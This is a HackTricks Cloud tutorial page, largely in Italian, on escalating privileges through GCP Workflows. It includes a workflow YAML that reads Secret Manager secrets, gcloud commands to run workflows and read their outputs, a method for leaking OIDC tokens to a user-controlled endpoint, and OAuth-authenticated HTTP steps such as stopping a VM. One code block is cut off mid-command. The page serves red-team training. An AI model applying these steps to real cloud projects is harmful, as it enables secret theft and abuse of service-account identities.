GCP - Workflows Privesc
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Workflows
Informazioni di base:
workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)
Per quanto ne so non è possibile ottenere una shell con accesso all’endpoint metadata contenente le credenziali della SA assegnata a un Workflow. Tuttavia, è possibile abusare delle autorizzazioni della SA aggiungendo le azioni da eseguire all’interno del Workflow.
È possibile trovare la documentazione dei connettori. Per esempio, questa è la pagina del connettore Secretmanager. Nella barra laterale si possono trovare diversi altri connettori.
E qui puoi trovare un esempio di un connettore che stampa un segreto:
Configurazione YAML del Workflow per accedere ai segreti
```yaml main: params: [input] steps: - access_string_secret: call: googleapis.secretmanager.v1.projects.secrets.versions.accessString args: secret_id: secret_name version: 1 project_id: project-id result: str_secret - returnOutput: return: "${str_secret}" ```Aggiornamento dalla CLI:
Distribuire ed eseguire i workflow dalla CLI
```bash gcloud workflows deploySe non hai accesso web, è possibile attivare e vedere l’esecuzione di un Workflow con:
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1
# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1
# List executions
gcloud workflows executions list <workflow-name>
# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
Caution
Puoi anche controllare l’output delle esecuzioni precedenti per cercare informazioni sensibili
Nota che anche se ricevi un errore come PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... perché non hai quell’autorizzazione, il workflow è stato generato.
Leak OIDC token (and OAuth?)
According to the docs it’s possible to use workflow steps that will send an HTTP request with the OAuth or OIDC token. However, just like in the case of Cloud Scheduler, the HTTP request with the Oauth token must be to the host .googleapis.com.
Caution
Pertanto, è possibile effettuare un leak del token OIDC indicando un endpoint HTTP controllato dall’utente, ma per effettuare il leak del OAuth token avresti bisogno di un bypass per quella protezione. Tuttavia, puoi comunque contattare qualsiasi GCP api per eseguire azioni per conto del SA usando sia i connettori sia richieste HTTP con il token OAuth.
Oauth
Workflow HTTP request with OAuth token
```yaml - step_A: call: http.post args: url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop auth: type: OAuth2 scopes: OAUTH_SCOPE ```Richiesta HTTP del workflow con token OIDC
```yaml - step_A: call: http.get args: url: https://us-central1-project.cloudfunctions.net/functionA query: firstNumber: 4 secondNumber: 6 operation: sum auth: type: OIDC audience: OIDC_AUDIENCE ```Con questo permesso, invece di workflows.workflows.create, è possibile aggiornare un workflow già esistente ed eseguire gli stessi attacks.
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
HackTricks Cloud

